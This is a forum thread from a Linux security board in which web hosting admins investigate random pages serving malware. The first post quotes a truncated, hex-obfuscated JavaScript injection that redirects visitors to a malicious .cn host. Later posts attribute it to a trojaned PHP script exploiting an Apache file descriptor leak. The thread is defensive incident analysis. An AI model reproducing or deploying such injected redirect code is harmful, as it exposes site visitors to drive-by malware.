Linux - SecurityThis forum is for all security related questions.
Questions, tips, system compromises, firewalls, etc. are all included here.
Notices
Welcome to LinuxQuestions.org, a friendly and active Linux Community.
You are currently viewing LQ as a guest. By joining our community you will have the ability to post topics, receive our newsletter, use the advanced search, subscribe to threads and access many other special features. Registration is quick, simple and absolutely free. Join our community today!
Note that registered members see fewer ads, and ContentLink is completely disabled once you log in.
If you have any problems with the registration process or your account login, please contact us. If you need to reset your password, click here.
Having a problem logging in? Please visit this page to clear all LQ-related cookies.
Get a virtual cloud desktop with the Linux distro that you want in less than five minutes with Shells! With over 10 pre-installed distros to choose from, the worry-free installation life is here! Whether you are a digital nomad or just looking for flexibility, Shells can put your Linux machine on the device that you want to use.
Exclusive for LQ members, get up to 45% off per month. Click here for more info.
we are experiencing a strange behavior with our web pages.
At irregular time intervals, on random web pages, the client instead of getting the normal web page gets a page containing a virus.
Here a wireshark client capture from such a web page:
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET CLR 1.1.4322)
<script type="text/javascript" language="javascript"> var mdpfi=new Array("\x68tt\x70:/\x2fsneak\x2dpea\x6b.cn/?p\x69d=180s\x308\x26s\x69d=3c5779","htt\x70://\x73\x6ee\x61\x6b-pea\x6b.cn/?pid=180s0\x39&sid=\x33c57\x379"); var ajxkvmr="ca\x2cco,d\x61\054\x64e,cy\x2cel,e\x6e,eo\x2ces,\x66i,\x66r,g\x61,\x69t,\x6aa,\x6ai,\x6bn\x 2cn\x6c,n\x6f,p\x74,s\x76"; var uosk=navigator.language || navigator.systemLanguage; var lang=uosk.toLowerCase( ); lang=lang.substr(0,2); if (ajxkvmr.indexOf(lang)==-1){yrlt( ); }else {ohmsof(birh( )?.......
We have verified all the packages on our system and they seem ok. We installed and run rkhunter to check for rootkits and found none.
We run rkhunter --propupd on a new/clean system and placed the files database it on the problematic machine and all the standard binary files are identical between the two machines
The only suspect file that showed when verifying all the rpms was /usr/sbin/suexec.
It was different than /usr/local/psa/suexec/psa-suexec but not from a rootkit, but because it was modified by prelink.
The problem is hard to debug because it manifests itself randomly.
Do you have any ideea how to trace and solve this kind of problem???
P.S
It is not a dns spoofed page, because the server ip that appears in the wireshark capture taken on the client is the correct one.
Distribution: Ubuntu based stuff for the most part
Posts: 1,172
Rep:
Are you running any ads on your site? If so, it could be the source.
Have you updated your PHP, looks like you are a few versions behind. 5.2.11 is showing on my system as the latest. It may not be a root kit, but just your regular run of the mill exploit of PHP.
Is this something you normally have on your web pages? keygenguru.com is listed as "Download cracks, keygens, view serial numbers for any program. Keygenguru.com has the largest cracks data base." http://whois.domaintools.com/keygenguru.com
This is an apache APR bug being exploited through a trojaned PHP script.
-a fellow admin
Thanks for the write up on what to look for. Do you have any information on how the trojaned PHP script got on your server to begin with? Was it something a legitimate user did on purpose or do you believe an existing site was cracked?
Thanks for the write up on what to look for. Do you have any information on how the trojaned PHP script got on your server to begin with? Was it something a legitimate user did on purpose or do you believe an existing site was cracked?
The trojaned PHP script was uploaded via the user's FTP credentials. This is a web hosting server that allows FTP access. Somebody stole our customer's username and password (probably via a virus on their computer) and then used those FTP credentials to upload the trojaned script to our customer's website...
I'm sure the user was not aware of this. Our customer is here in the united states and the script was uploaded from an IP address in Singapore.
We were able to find the IP that issued the POST commands and block it.
We found two suspicious php scripts using your grep command.
One looks like a wordpress theme footer (/var/www/vhosts/domain1.name/httpdocs/wp-content/themes/epsilon/footer.php)and one is the footer.php of a wordpress install (/var/www/vhosts/domain2.name/httpdocs/blog/footer.php).
I will de-obfuscate the scripts and post them here if they are mallicious.
I still don't know what bug / exploit this mallware is using.
We are using CentOS 5 with all the patches applied and we tested the server with your script and it seems ok.
We had to modify the script because /proc/*/fd is only readable by root and we are using open_basedir to restrict access to specific directories.
Forking form the perl script works but the child does not inherit the file handles of the parent.
I think this mallware is exploiting a security issue present in apache/mod_php that is not yet known to the developers.
Thanks for the reply and writeup from me as well. However in it you write your subject basically is an old, outdated shared hosting server running vulnerable software versions. The threads you point to are from 2003 and the only evidence I find is SF's 2003 Apache Web Server File Descriptor Leakage Vulnerability (no CVE or anything more recent I can see).
Did you actually test Apache >= 2.0.45 or a 2.2 series one?
Or is this really just a vuln only in that old, outdated software version?..
EDIT: Irian's recent reply of
Quote:
Originally Posted by irian
Forking form the perl script works but the child does not inherit the file handles of the parent.
seems to suggest it is. Can you confirm?
Last edited by unSpawn; 11-15-2009 at 04:23 PM.
Reason: //More *is* more.
Today I discovered that forking a child process is part of the magic that enables this to work. I can't access the file descriptors until after spawning a new process. The machine that I developed the original perl test was apparently REALLY broken.
I've finished writing a PHP-based testing script. This new test is a much more accurate test than the previous perl based one.
... and you'll see a list of all the file-handles that a malicious script can gain access to...
Still researching who to blame for this problem, but a buddy of mine is claiming that fedora core 11 has an updated version of apr that closes file descriptors on exec or fork.
All centos 4 and centos 5 machines that I've tested this on appear to be vulnerable.
UPDATE: After honing my search terms, I'm getting closer to having answers for who to blame. I've located bug reports on the exact issue in conversations between apache and php developers arguing over who's problem this actually is.
The last post (on July 3rd, 2009) on the php.net site is claiming that this is finally fixed in apache. They provide a diff to apache's exec.c, but the author admits it's an ugly fix... And my CentOS 4 and 5 boxes are still vulnerable...
LinuxQuestions.org is looking for people interested in writing
Editorials, Articles, Reviews, and more. If you'd like to contribute
content, let us know.